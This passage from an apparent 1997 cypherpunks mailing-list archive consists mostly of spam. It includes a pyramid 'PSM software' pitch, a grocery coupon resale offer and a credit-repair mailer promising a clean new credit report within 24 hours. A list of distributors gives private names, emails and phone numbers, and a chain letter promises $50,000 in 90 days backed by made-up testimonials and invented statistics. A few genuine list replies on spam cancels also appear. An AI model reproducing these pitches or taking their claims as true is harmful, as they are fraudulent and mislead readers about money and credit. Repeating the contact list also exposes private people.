what we do:  As with all  Multilevel businesses, we build our business by recruiting new partners and selling our products 
on-line.  

    Each $ 5.00 order you receive will  include the  E-mail address of the sender !.  To fill each order, you simply E-mail a 
special CODE to the buyer that will instruct his program to extract the requested product(one of the six business and financial 
reports).

    If the buyer  doesn't have an E-mail  address simply  print the  Sales Receipt that the program generates and send it as a
 letter via regular mail.When the buyer receives his CODE he will enter it into the program andthe program will extract the 
corresponding product (Info-Report)."That's it...the  $ 5.00 is yours."  This is the  GREATEST  MultilevelElectronic Marketing 
program anywhere in the world !. The business can be conducted entirely on-line (E-mail and the WWW) or via regular mail 
with diskettes and regular letters.

    HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU $$ MONEY $$
    ---------------------------------------------------------

    Let's say  you decide to start small  just to see how it goes  and we'll assume your goal is to get 10 people to participate on
 your first level. Placing a lot of Free Ads on the Internet  could easily cause you to get a much better  response.  Mailing  
diskettes to opportunity seekers  and computer users will surely generate more than 10 people as well.

    Also many people will want to get more than 10 people. But continuing
    with this example, you get 10 people to participate.

    1) That's 10 people in your first level
       who will order Report # 1 from you.
       (10 orders at $ 5 each = $ 50.00).

    2) Those 10 people sponsor at least 10 people each.
       That's 100 people in your second level
       who will order Report # 2 from you.
       (100 orders at $ 5 each = $ 500.00).

    3) Those 100 people sponsor 10 people each.
       That's 1,000 people in your third level
       who will order Report # 3 from you.
       (1,000 orders at $ 5 each = $ 5,000.00).

    4) Those 1,000 people sponsor 10 people each.
       That's 10,000 people in your fourth level
       who will order Report # 4 from you.
       (10,000 orders at $ 5 each = $ 50,000.00).

    5) And finally, those 10,000 people will sponsor 10 people each.
       That's 100,000 more people on your fifth and last level
       who will order Report # 5 from you.
       (100,000 orders at $ 5 each = $ 500,000.00).


    Sumarizing the grand total of orders and profits:

               111,110 orders  x   $ 5.00 each   =  $  555,550.00


    ************************************
    THAT'S OVER HALF A MILLION DOLLARS !!     Unbelievable !!
    ************************************

    Now, think about it !. Is 10 people an unrealistic goal ?   NO !.

    There are millions of computer users on the Internet. There are millions of computer users that are not connected to the
 Internet yet.
Anybody working on-line and off-line  distributing the  PSM software can
easily sponsor 10 users and more !. The PSM system is 100% DUPLICATABLE.
There is no room for mistakes !. Anyone CAN do it but not everyone KNOWS
HOW to do it !.  So the only work is to share  this Information with all
those people who want and need to make money with their computers.

    Remember friends, this is assuming that the people who participate only recruit 10 people each, but everyone is free to 
distribute as many copies as desired at any time !. THERE IS NO LIMIT !.

    Dare to think for a moment what would happen if everyone got  20 people to participate. INCREDIBLE !!  Believe me, 
many people will do just that and more. 

To get a "FREE" copy of this amazing software just reply to this email with SEND IT in
 your subject line or send a SELF ADDRESSED STAMPED ENVELOPE to:

Twin Internet Systems
P.O. Box 1794
Wilkes Barre, PA, 18703

This is the same chance someone gave me and I was lucky enough to take a serious look at this software and it has
 been one of the best moves I have ever made! I hope you too will realize that opportuntities like this are rare and that 
you dont let it slip through your fingers like many people do (remember there are those that say, and those that do. 
Which are you?)

God Bless 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 94083120@usa.net
Date: Tue, 29 Jul 1997 14:42:10 -0700 (PDT)
To: info1@lunarlanding.com
Subject: Save Up To $1000 on Your Grocery Bills!
Message-ID: <1997051680036.info1@lunarlanding.com>
MIME-Version: 1.0
Content-Type: text/plain


Dear Fellow Internet User,

I know you get bombarded with all kinds of offers over the Internet. However, here is one that
actually pays you back much more than you need to pay out. If you go grocery shopping, you can save up to $1000
by getting our discount coupon books. And, you can even sell these books to others, earning you some part time income!

GROCERY COUPONS = BIG SAVINGS
Save up to 50% and more on your grocery bill with Coupon Connection of America. You choose
the name brand coupons you want for the products you buy. No more clipping coupons from the
newspaper. Imagine having a discount coupon for almost every item you buy.

COUPONING IS FOR EVERYONE
Over 90% of America's housholds save millions of dollars each year by using coupons. Everyone
from middle class mothers on a budget to wealthy matrons use coupons. WHY? Because if you
don't, you are throwing money in the trash. EVERYONE wants to save money, and we can help
you do it.

FANTASTIC SAVINGS
If you use Coupon Connection of America, you are guaranteed to save money. You choose the
coupons you want - for products you know you are going to buy from our list of over 1200 national
name brand products. We send the coupons to you in about 10-15 working days. When you
redeem the coupons at your favorite store, you will see an immediate savings in your grocery bill.
You will pay less for asprin, cereal, soup, detergent, frozen dinners, ice cream, coffee, crackers,
diapers, soda, shampoo, and much more.

Select from over 1200 brand name products - Crest, Colgate, Kleenex, Kellogs, Ajax, Ivory,
Tide, Parkay, Lipton, Kraft, Stouffers, Heinz, Purina, Del Monte ... the list goes on! You can use
these coupons WHEREVER you shop, as often as you like.

HERE IS HOW IT WORKS
With the $500.00 coupon book you can select $500 worth of grocery coupons of your choice. The
book contains fifty (50) ten dollar ($10.00) coupon certificates. You simply fill out the certificate
with the code numbers of the products you want. You can make 35 coupon selections per
certificate and we will fill the order with 1-3 coupons from each selection until we reach the $10.00
value of the certificate. Your working coupons are mailed to you in 10-15 days. IT'S THAT
EASY!

DOUBLE SAVINGS AVAILABLE
If you take your coupons to a store that doubles the face value, your $500 in coupons are worth up
to $1000! All this for a $20 investment.

BECOME A DISTRIBUTOR - MAKE EXTRA MONEY
Once you have purchased your first book, you are entitled to purchase additional certificate books for $5 each (in lots of 10). Sell them to your family, friends or co-workers. Market them using the following methods:
Internet E-Mail
Web Page
Post Flyers at Supermarkets
Run a Classified Ad

If you wish a copy of our Distributor's Marketing Guide, please add $10 to your order. This guide will provide you with sample ads,a brochure and flyers to use to market the coupon books. A simple classified ad in your local newspaper will pull about 5 to 10 sales. Simply send callers a brochure and wait for the order.

To order your grocery coupon book, send $20 ($30 with the Distributor's Marketing Guide) in the form of cash, check or money order to:

Information Highway
PO Box 513
Southampton, PA 18966






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 64355512@nowhere.com
Date: Tue, 29 Jul 1997 19:23:28 -0700 (PDT)
To: success@nowhere.com
Subject: Finally the Answer to LIFE!!  Real Science, NOT FICTION!
Message-ID: <mailhost.att.net>
MIME-Version: 1.0
Content-Type: text/plain


FINALLY, THE ANSWER TO LIFE!!

Science, Not-Fiction

Have you ever pondered any of these questions?

1.What is the origin of life?
2.What is Life?
3.How were we created?
4.What happens when we die?
5.Is there other life out there?
6.Do we ever become immortal?

FOR THE ANSWERS TO THESE QUESTIONS AND MORE, POINT YOUR BROWSER TO

www.wgn.net/~dicewars/

www.wgn.net/~dicewars/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: putpeel2@orbisnet.com
Date: Tue, 29 Jul 1997 23:00:47 -0700 (PDT)
To: putpeel@putpeel.com
Subject: List of P.E.E.L. district managers near you!
Message-ID: <0000000000.AAA000@orbisnet.com>
MIME-Version: 1.0
Content-Type: text/plain


Remove yourself from this list by clicking on reply and typing remove
in the subject line.

This is a list of P.E.E.L. district managers, their city, name, email and 
phone number.  YES! We want to help you build your P.E.E.L. business
in person!

Please read the purpose of district managers, how they can benefit you
as a distributor or factory outlet owner, and company guidelines in the
following Email. 
 
If you are a distributor or factory outlet owner, feel free to contact anyone below. 
All the people on this list are willing to help you build your business, at no cost 
or obligation to you. A district manager is not your boss, they are only here
to help you, if you so choose. This is a service provided by P.E.E.L. 
 
If you are not on this list but want to be, please contact me.  

ATTENTION: Would you like to have a free distributorship selling Earth friendly,
cruelty free products and earn 50% or more to start?

Would you like to have your own store on the internet for only $49.00,
never handle product and have weekly commission checks of 25%?

We have this and a lot more. Please visit our distributor website at
http://www.putpeel.com/distributors

To see how to own your very own store,
http://www.putpeel.com/factory-outlet
 
ARIZONA 
DBMcCLURE@aol.com David B. McClure Chairman & CEO BetaCom Inc. Tuscon AZ 85710 520-751-
8716 fax 752 
 
CALIFORNIA 
BAAB-BAKZ CafeDarci@aol.com Fountain, Carla T. Ripon CA 95366 (209)599-2970A 
 
CONECTICUT 
AAAAK-BAEH cgunt@aol.com Gunther, Claudia Guilford, CT 06437 203-458-8418 
 
FLORIDA 
Wantom@aol.com Probst, William F. (Bill) Jacksonville FL 32225-1888 904 641-0709 Fax:  904 998-9012 
AAAA-BAAB frakam@ix.netcom.com integrated@ix.gen.com Kammerdiener, Francis R. Miami Beach 
FL 33160 (888) 206-8104 (305) 933-2207 Fax(305) 682-0284 
AAAA-BALQ wbroderick@hawk.net Broderick, William Ft. Myers FL 33905 (941)693-5161 
 
INDIANA 
AAAA-BAAK paprwaydtp@aol.com Lemler, Kim Bourbon IN 46504 (219)646-2100 
AAAAK-BAK3 IrishKenn@juno.com McRoden, Kenneth C. Ossian IN 46777 (219) 622-6331  (888)616-
5647 
 
IOWA 
Riveris4U@aol.com Bowers, Kate Prole IA 50229 515 981-1442 
 
MARYLAND 
BABA-BABS OIS@aol.com Wimmer, Karen Baltimore MD 21207 (410)944-7849 
 
MASSACHUSETTS 
AAAA-AAAB, AWOOD@aol.com, Wood, Arthur F. Eddington, MA 04428-9710 (207)843-6020	 
 
MINNESOTA 
AAAB-BAGK karaoke629@aol.com Peterson, David Bloomington MN 55438 (612)941-1025 
 
NEBRASKA 
WigleyK@MindSpring.com Wigley, Kathy Bellevue NE 68123 (402) 682-9069  
 
OHIO 
joneill563@aol.com O'Neill Jr, John 2914 Harkie St. Middletown OH 45044 (513) 423-6558  
 
OREGON 
AAAA-BAJK a-coctoau@aol.com Meyer, Angela Portland OR 97214-4026 (503)239-8087 
 
OKLAHOMA 
AAAA-BAAZ Jump100@aol.com Durbin, Julie Oklahoma City OK 73135 
Still, Terry Tulsa OK 74135 (918) 744-4048. 
 
PENNSYLVANIA 
BAKT-BAKT-BALV kaloftus@epix.net Loftus, Kandis Wilkes-Barre PA 18705 (888)202-1121 
LinkArt@aol.com Begg, Richard Philadelphia PA19131 215-878-8258 215-878-8268 
 
TEXAS 
AAAA-BAEP ANT5LEY@aol.com Antley, Teresa Dickinson TX 77539  281-534-3279 
SNelson140@aol.com Nelson, Lloyd San Jaun TX 78589 956-781-2451 
 
CANADA 
MANITOBA 
wtsvg@mb.sympatico.ca Williams, Sr, Wade Tudor. Winnipeg, Manitoba R3V 1R8 (204) 275 - 7265 
 
 
 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Helenius <Tom.Helenius@DataFellows.com>
Date: Wed, 30 Jul 1997 01:54:34 -0700 (PDT)
To: Tom Helenius <Tom.Helenius@DataFellows.com>
Subject: Sorry about accidental spamming
Message-ID: <3.0.32.19970730112207.00a38910@datafellows.com>
MIME-Version: 1.0
Content-Type: text/plain


Dear Security Professional,

We apologize for the annoyance and confusion we might have caused to you
due to human error in our email addressing. As a result some of our
internal emails about the newly announced F-Secure VPN v1.1 software were
erroneously emailed to your attention.

It is definitively not our company policy to contribute to spamming on the
Internet, and we do hope that you'll still want to receive the otherwise
unbiased information sent to the members of our press list.

Yours sincerely,

Tom Helenius
Data Fellows

--
Tom.Helenius@DataFellows.com, World-Wide Web http://www.DataFellows.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mailhost@aol.com
Date: Sat, 30 Aug 1997 13:30:31 -0700 (PDT)
To: credaide@57788epaircred.com
Subject: Your Credit Report
Message-ID: <32009586374.JJX09264@577488fixcredit.com>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#000000"><FONT COLOR="#00FFFF" SIZE=3>

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
    *AS SEEN ON TV * AS SEEN ON TV * AS SEEN ON TV* AS SEEN ON TV*
//////////////////////////////////////////////////////////////////////

If you received this electronic mailing by mistake, please pardon our intrusion.

Dear Friend,

Are you or somebody that you know experiencing credit problems?  If your answer is yes, I think you will be very interested in our special offer. No longer will you have to live like a second class citizen due to a bad credit report. Bad credit is caused by a variety of reasons:  Health, divorce, termination of employment, loss of income and dozens of other reasons. The bottom line is that bad credit can happen to anybody.  There is no specific profile of a person with credit problems. It can happen to doctors, lawyers, accountants, the mail man, truck drivers, housekeepers and salesmen. As a matter of fact, one in three Americans live with some form of bad credit. Fortunately, the United States Government has passed many laws under the Fair Credit Reporting Act, all of which protect your rights as a consumer. Our manuals will show you how to use these Federal laws to your advantage and repair or obtain a new credit report.

            ***** THE FRESH START PROGRAM (TM) *****

Have you seen your credit bureau report lately?  Have you recently been denied credit because of a bad cedit report? If you have answered yes, then you need to take advantage of THE FRESH START PROGRAM (TM). THE FRESH START PROGRAM (TM) will guide you through the process of obtaining a BRAND NEW credit bureau report. Our easy-to-follow manual will put you on the fast track to obtaining your new credit bureau report and can be accomplished within 24 hours! Regardless of your credit rating, you can NOW obtain a brand new, fresh credit bureau report free of:

		*  ANY bad credit
		*  Bankruptcies
		*  Judgements
		*  Foreclosures
		*  Charge-Off's
		*  Tax Lien's
		*  Repossessions
		*  Late pays
		*  Garnishments
		*  Inquiries

NOW, you can have a 'Clean Slate' and a 'FRESH START' with a brand new, credit bureau report.

//////////////////////////////////////////////////////////////////////

            ***** THE COMPLETE CREDIT REPAIR KIT (TM) *****

Good credit empowers you to qualify for personal loans, business loans, auto loans, credit cards, home loans and other types of credit you may apply for, at the best possible interest rate. As you know, if you don't have excellent credit, lenders will NEVER extend credit to you! The Fair Credit Reporting Act will allow you to legally and permanently ERASE the negative information on your credit bureau file. Anything that is damaging to your credit rating, may be removed:
Inquiries, Foreclosures, Repossessions, Charge-Off's, Late Payments
Student Loans, Bankruptcies and Judgements

The 'Credit Repair' companies located in every city will charge from $500.00 and up to do what our easy-to-follow manual will teach you. Now, in the privacy of your own home, you can repair your own credit at your own pace.

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

                        ***** PROOF *****

"Having bad credit was the one thing holding me back from starting my own business. After working your program, I qualified for a $45,000 Small Business Loan. My business is making me more money than I've ever made.  Your program is truly priceless!"
					George S.  -  Fresno, CA.

"Thank you, thank you, thank you!  Before, my credit was totally trashed. After using your Fresh Start Program and using The Complete Credit Repair Kit, my wife and I qualified to purchase our first home with no down payment. These programs are worth thousands of dollars!"
					Kenneth T.  -  Ithica, NY

"After being laid off, my creditors were not very understanding when I couldn't pay my bills and as a result, my credit was very badly damaged.  Once I started working again, I couldn't qualify for any type of credit. After using the manuals, I qualified to buy a new car, with no down payment."
					Mr. Fred C.  -  Tampa, FL

"After my divorce, I was forced to file bankruptcy.  I was told my credit would be ruined for 10 years. After using the your manuals, I have great credit again.  I even receive pre-approved credit cards in the mail. Thank you so much for your amazing program.  I don't know what I could have done without it. I highly recommend your program to anyone who has credit problems."
					Ms. Anna S.  -  Tacoma, WA

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
YOU MAY BE ABLE TO EARN $1,500.00 FOR YOUR TESTIMONIAL ON OUR UPCOMING TV INFOMERCIAL.
DETAILS INCLUDED WITH YOUR ORDER.
//////////////////////////////////////////////////////////////////////

Don't let ANYONE tell you that you can not make the transition from a bad credit risk to that of preferred credit customer. Over 175,000 satisfied customers can't be wrong!  each manual, THE FRESH START PROGRAM (TM) and THE COMPLETE CREDIT REPAIR KIT (TM) is normally $89.95 + $3.95 S&H. However, if you take advantage of this special offer within the NEXT 24 HOURS, you will pay only $34.95 + $3.95 S+H for one program or you can take both programs for $54.95 +$3.95 S&H (U.S. Funds Only).  

To place your order, simply mail the form below, along with your certified check, money order, personal check or cash to:

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
I.M.S.
5201 Kingston Pike, Suite 6-216
Knoxville, Tennessee 37919

Yes, please send the manual(s) checked below:

$34.95     THE FRESH START PROGRAM (TM)

$34.95     THE COMPLETE CREDIT REPAIR KIT (TM)		

$54.95     Both Programs				
				
$_____     Sub Total
				
$ 4.95     Shipping and handling
$(15.00)   RUSH Delivery (Optional)

$_____     Total Enclosed

I have enclosed (Check One): 
_____Cashiers Check
_____Money Order
_____Personal Check
_____Cash

SHIPPING INFORMATION:

Name:_________________________________________
Phone:_______--__________--___________________

Physical Street Address (NO P.O. BOXES):_______________________________________

City:______________________ 
State:____   Zip/Postal Code:_________________

Your E-Mail Address (Needed for order confirmation):________________________________

///////////////////////////////////////////////////

SAVE AN ADDITIONAL $5.00!!! FAX YOUR ORDER NOW!!!

Please tape your completed check in the space below and fax it along with your order to IMS.

That facsimile number is 1-423-681-6520 

*************************************************

                                               
  FAX: 1-423-681-6520                         
                                               
  Please Tape Your Check Here                  
                                               
  Please Sign Your check                       
                                               
                                               
*************************************************

Thank You For Your Order-All orders shipped same day.

654657808268556


</FONT><FONT  COLOR="#000000" SIZE=3>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Pool <m.pool@pharos.com.au>
Date: Wed, 30 Jul 1997 20:57:41 -0700 (PDT)
To: Dave Hayes <dave@kachina.jetcafe.org>
Subject: Re: Entrust Technologies's Solo - free download
In-Reply-To: <199707301842.LAA16904@kachina.jetcafe.org>
Message-ID: <33E00B8C.7AD8@pharos.com.au>
MIME-Version: 1.0
Content-Type: text/plain


Dave Hayes wrote:
> Sandy Harris writes:
> > What this scum is actually upset about is Chris Lewis cancelling
> > spam. He calls that "forgery" because the spammer's name goes
> > in the sender field of the cancel message. Nonsense.
 
> According to RFC 1036 forging cancels for articles that do not
> originate from your news site is not allowed. He is clearly in
> violation of the RFCs. Spam jihads are not sufficient reason
> to ignore internet protocols.
 
  Spamming is a crime (theft of computer resources) and sometimes
such acts may be justifiable self-defense, such as when I steal
from my employer because they don't pay me enough, or when I lie
on my income tax forms because I want to keep my money for myself.

  Just because Chris Lewis has complete disregard for internet
protocol and feels justified in violating the "trust" that others
place in the headers of the email they receive, is no reason to
believe that he should not be "Entrust(ed)" with working in an
area that might affect the security of a large number of people.

-- 
Martin Pool <m.pool@pharos.com.au>
Pharos Business Solutions





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Pool <m.pool@pharos.com.au>
Date: Wed, 30 Jul 1997 18:22:18 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Entrust Technologies's Solo - free download
In-Reply-To: <3.0.2.32.19970730064653.00948280@caprica.com>
Message-ID: <19970731012149.1115.qmail@buffalo.pharos.com.au>
MIME-Version: 1.0
Content-Type: text/plain


> Date: Wed, 30 Jul 1997 06:46:53 -1000
> From: "Dr. Jai Maharaj" <jai@mantra.com>

> > What this scum is actually upset about is Chris Lewis cancelling
> > spam. He calls that "forgery" because the spammer's name goes
> > in the sender field of the cancel message. Nonsense. . . .
> >  -  Sandy Harris
> 
> Forgery is a crime and such acts are not justified.

Spamming is a crime (theft of computer resources) and sometimes such
acts may be justifiable self-defense.

-- 
Martin Pool <m.pool@pharos.com.au>
Pharos Business Solutions




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "MCE" <MCE@CWNet.com>
Date: Thu, 31 Jul 1997 02:10:12 -0700 (PDT)
To: you@borg.cwnet.com
Subject: KNOCK KNOCK
Message-ID: <199707310857.BAA09811@borg.cwnet.com>
MIME-Version: 1.0
Content-Type: text/plain




I apologize for intruding on your mailbox. No need to respond to a remove list, this is the only email you will receive from me unless I hear
from you. I thought that you might just like to take a look at this  VERY REAL opportunity. If you have no interest in MAKING A LOT OF MONEY
WITH YOUR COMPUTER! Stop now!
    
I only want to provide this special offer to people who know 
there's no such thing as get rich quick! But people who are looking for a 
legitimate honest way to make good money starting today, in exchange for some actual work! If that's who you are, PLEASE READ ON!

AS PART OF MCE MARKETING'S 5.5 MILLION EMAIL ADDRESS PROMOTIONAL GIVEAWAY, I AM GOING TO "GIVE" YOU 25,000 , FRESH, NEW, AND RESPONSIVE EMAIL ADDRESS'S "UNIQUE TO MY INVOLVEMENT IN THE FOLLOWING PROGRAM" AND THE TOOLS TO DELIVER THIS PROGRAM AS SOON AS I
 HEAR FROM YOU!!!!!!!!!!!!!!!!!!!
FREE!!!!!!!!!!!!!!!!!!!!!!!!!!!THATS RIGHT!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!FREE!!!!!!!!! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

THIS IS AN EXCLUSIVE OFFER FROM MCE MARKETING ONLY.
THIS INDEPENDENT  PROMOTION IS NOT A PART OF, OR AN ADDITION TO, THE CONTENTS OF THE FOLLOWING ORIGINAL PROGRAM.

FOR DETAILS ON HOW TO RECEIVE YOUR EMAIL ADDRESS'S AND INSTRUCTIONS  PLEASE READ THROUGH THE FOLLOWING PROGRAM AND THEN RE-READ THE ATTACHED ENDING SECTION TITLED "MCE MARKETING'S 5.5 MILLION EMAIL ADDRESS PROMOTIONAL GIVEAWAY!!!!!!"

THE FOLLOWING IS THE PROGRAM INFORMATION JUST AS I RECEIVED IT, IT HAS CHANGED MY LIFE, IT IS ALSO WHAT YOU NEED
TO SEND OUT -JUST AS IT IS!!!!!! 
IT WORKS!!!!!! 

DON'T CHANGE ANYTHING BELOW THIS LINE!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! 
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>

	The following income opportunity is one that you may be interested 
in taking a REAL CLOSE LOOK at. It can be started with MINIMAL outlay and 
the income is TREMENDOUS!

REALISTICALLY!  YOU are about to make AT LEAST $50,000- in less than 90 days.
PRINT  and READ the enclosed program... THEN READ IT AGAIN!...

THEN READ IT AGAIN!

The enclosed information is something that I almost let slip through my 
fingers. Fortunately, sometime later I re-read everything and gave it some 
thought and study.

TESTIMONIALS:
	
My name is Christopher Erickson. 
	Two years ago, the corporation that I worked at for 12 years
 down-sized and my position was eliminated. After unproductive job interviews, I 
decided to start my own business. Over the past year, I incurred many 
unforeseen financial problems. I owed family, friends and creditors over 
$35,000. The economy was taking its toll on my business and I just couldn't 
seem to make ends meet. I had to refinance and borrow against my home to 
support my family and struggling business. I truly believed that it was wrong
for me in debt like this. AT THAT MOMENT something significant happened in 
my life and I am writing to share my experience in hopes it will change your 
life Financially Forever!!!!!!:).

	I had been sending away for information on various business 
opportunities on the Internet. All of the programs I received, in my opinion 
were not cost effective or simply too complicated for me to understand and 
required too much risk for me to see if they would work out. One claimed to 
make me 1 million bucks in the first year.... it failed to mention that I 
would have to write best selling book to get there!

	In December 1995 I received this program via e-mail. I didn't send 
for it, or ask for it. They just got my name off of a mailing list somewhere.
THANK GOD FOR THAT!!! After reading it several times to make sure I was 
reading it correctly I couldn't believe my eyes. Here was a MONEY MAKING 
PHENOMENON!!! I could invest as much as " wanted to, without going further 
into debt. I got out my calculator and figured out that I would at the very 
LEAST make my money back!!!!!! After confirming that the letter was NOT A 
CHAIN LETTER I decided WHY NOT GO FOR IT!!!!!!!

	 I initially sent out 10,000 emails, it cost me about $15.00 for my 
online time and with e-mail I avoided the cost of printing and stamps!!! 
Only the cost of fulfilling my orders. I'm  telling you like it is! I hope 
it doesn't turn you off, but I promised my self that I would not RIP OFF 
anyone no matter the cost!

	In less than one week I started to receive orders for Report #1. By 
January 13th, I had received 26 orders for Report #1. When you read the 
GUARANTEE in the program you will see that "YOU MUST RECEIVE 15 to 25 
ORDERS FOR REPORT #1 WITHIN 2 WEEKS", IF YOU DON'T, THEN SEND OUT MORE 
PROGRAMS UNTIL YOU DO. My first step in making $50,000 was done. By January 
30th, I had received 136 orders for Report#2. If you go back to the GUARANTEE
, "YOU MUST RECEIVE 100 OR MORE ORDERS FOR REPORT #2  WITHIN 2 WEEKS. IF NOT 
SEND OUT MORE PROGRAMS UNTIL YOU DO! ONCE YOU HAVE 100 ORDERS FOR REPORT #2 
RELAX, THE REST IS EASY, YOU WILL MAKE YOUR $50,000 GOAL. We had 196 orders
 for report #2, 96 more than my goal, so I sat back and relaxed. By March 
19th 1997, of my 10,000 mailing I had received $58,000 with more coming in 
every day.

	I paid off all my debts  and bought myself a much needed new car. 
Please take the time to read the following program, It will change your LIFE 
too. Remember, It wont work, if you don't try it! This program does work but 
you must follow it EXACTLY!, Especially the rules regarding not putting your 
name in a different place on the Reports List. It doesn't work and you'll 
lose out in a lot of money! Report #2 explains this. Always follow the 
guarantee, 15 to 20 orders for Report #1, and 100 or more for Report #2 and 
you will make over $50,000 or more in 20 to 90 days, I AM LIVING PROOF THAT 
IT WORKS!!!

	Sincerely, 
	Christopher Erickson

PS. Do you have any Idea what 11,700 $5.00 bills ($58,000) looks like piled 
up on the kitchen table! It's AWESOME!!!!!!!



"THREW IT AWAY"

"I had received this program before. I threw it away, but later wondered if 
I should have tried it out. Of course I had no idea who to contact for a copy, 
so I waited for another email copy of it. 11 months passed, then it came. 
I didn't throw this one away. I made $41,000 on the first try."

Dawn W. Evansville, IN
- - - - - - - - - - - - - - - - - - - - - - - - - - 
"NO FREE LUNCH"

"My late father always told me, 'Remember Alan, there is no such thing as a 
free lunch in life. You get out of life what you put into it.' Through trial 
and error and a somewhat slow and frustrating start, I finally figured it 
out! IF YOU WORK THIS PROGRAM THIS PROGRAM WILL WORK FOR YOU!!!!!! Once I 
found the right TARGET list the program worked great!
I made over $68,000 using this program. I know my father would be proud of 
me.

Alan B., Philadelphia, Pa.
- - - - - - - - - - - - - - - - - - - - - - - - -
A PERSONAL NOTE FROM THE ORIGINATOR OF THIS PROGRAM

By the time you have read the enclosed information and looked over the 
enclosed program and reports, you should have concluded that such a program 
and one that is legal, could not have been created by an amateur.

	Let me tell you a little about myself. I had a profitable business 
for 10 years. Then in 1979 my business began falling off. I was doing the 
same things that were previously successful for me, but it was not working. 
Finally I figured it out. It wasn't me, it was the economy. Inflation and 
recession had replaced the stable economy that had been with us since 1945. 
I don't have to tell you what happened to the unemployment rate... many of 
you have first hand experience. There were more bankruptcies and business 
failure than ever before. The middle class was vanishing. Those who knew 
what they were doing invested wisely and moved up. Those who didn't, 
including those who never had anything to save or invest,  were moving down 
into the ranks of the poor. As the saying goes "THE RICH GET RICHER AND THE 
POOR GET POORER".  The traditional ways of making money will never allow you 
to "move up" or "get rich", inflation will see to that.

	You have just received information that can give you the financial 
for the rest of your life, with "NO RISK" and "A LITTLE BIT OF EFFORT". 
You can make more money in the next few months than you have ever imagined.

I should also point out that I will not see a penny of your money, nor will 
anyone else who has provided a testimonial for this program. I have already 
made over 4 MILLION DOLLARS!!!!! I have Retired form the program after 
sending out 16,000 programs. I have several offices that market this and 
other programs here in the US and overseas. By the spring we hope to market 
the Internet by a partnership with America Online.

Follow the program EXACTLY AS INSTRUCTED. Do not change it in any way. It 
works exceedingly well as it is now! Remember to email this program to 
everyone that you can think of. One of the people you email it to might 
send it out to 50,000 or more! And your name will be on all of them! 
Remember, the more you send out the more potential customers you will 
reach!!!

So my friend I have given you ideas, information, materials and opportunity 
to become financially independent. IT'S ALL UP TO YOU NOW!!!!!!!!!!!!
- - - - - - - - - - - - - - - - - - - - - - - -
"THINK ABOUT IT"

Before you delete this program from your mailbox, as I almost did, take a 
little time to read it and REALLY THINK ABOUT IT. Get a pencil and figure 
out what could happen when YOU participate. Figure out the worst possible 
response and no matter how you figure it you will make a lot of money.! 
Definetly get back what you invest. Any doubts you may have will vanish 
when your first orders come rolling in. "IT WORKS"!!!! !!!! !!!!

Paul Johnson, Raleigh, NC.
- - - - - - - - - - - - - - - - - - - - - - -
"HERE IS HOW THIS AMAZING PROGRAM WILL MAKE YOU MONEY $$$$$$$$"

Lets say that you want to start small, just see how it goes, and we'll assume
that you and all involved send out 2,000 programs each, 
(extremely conservative) Lets assume that the mailing receives a LOW 
response of .5%. A good list will make the response much better! Many people 
will send out hundreds of thousands of programs instead of 2,000.
 But continuing with the example, you send out 2,000 programs. With a .5% 
response, that's only 10 orders for  REPORT#1. Those 10 people send out 
2,000 each, for a total of 20,000, out of those .5% respond. 100 people 
order Report #2. Those 100 mail out 2,000, for a total of 200,000. The .5% 
response for that is 1,000 orders for Report # 3. Those 1,000 send out 
2,000 for a total of 2,000,000. The .5% response to that is 10,000 orders 
for Report#4. That's 10,000 $5 dollar bills to you. CASH!!!!!! Your total 
Income from this program run is $50 +$500+$5000+$50,000 for a grand total of
a totally amazing $55,550.00.!!!!!!!!!!! 

REMEMBER FRIEND, THIS IS ASSUMING 1,990 OUT OF 2,000 PEOPLE YOU MAIL TO WILL 
DO ABSOLUTELY NOTHING.... AND TRASH THIS PROGRAM. DARE TO THINK WHAT MIGHT 
HAPPEN IF EVEN HALF OF THE DOWNLINE DISTRIBUTORS EMAILED 100,000.

THIS IS A LEGITIMATE, LEGAL, MONEY MAKING OPPORTUNITY!!!
It does not require that you come in contact with people, do any hard work, 
and best of all, you'll never have to leave the house except to get the mail.
If you believe that one day you are going to get that BIG BREAK, Well HERE 
IT IS!!!!!!. Simply follow the instructions and your financial dreams will 
come true. This Multi level Marketing email order program works perfectly 
100% of the time. Email is the sales tool of the future. Take advantage of 
this non- commercialized advertising medium of advertising NOW!!! The longer
you wait the more people will be doing business using email, Get in on a 
piece of the action!!!!!!!!

MULTI- LEVEL- MARKETING (MLM) has finally gained respectability, It is now 
taught in the Harvard Business School, and both Stanford Research and The 
Wall Street Journal have stated that between 50% and 65% of all goods sold 
will be through MLM by the late 1990's This is a Multi Billion Dollar 
industry and of the 500,000 millionaires in the US, 20% made their fortune 
in the last several years in MLM. Moreover, statistics show that 45 people a 
day become millionaires every day through MLM.
- - - - - - - - - - - - - - - - - - - - - - - 
GETTING STARTED

This is the greatest Mult-level Mail Order Marketing anywhere:

Step(1)
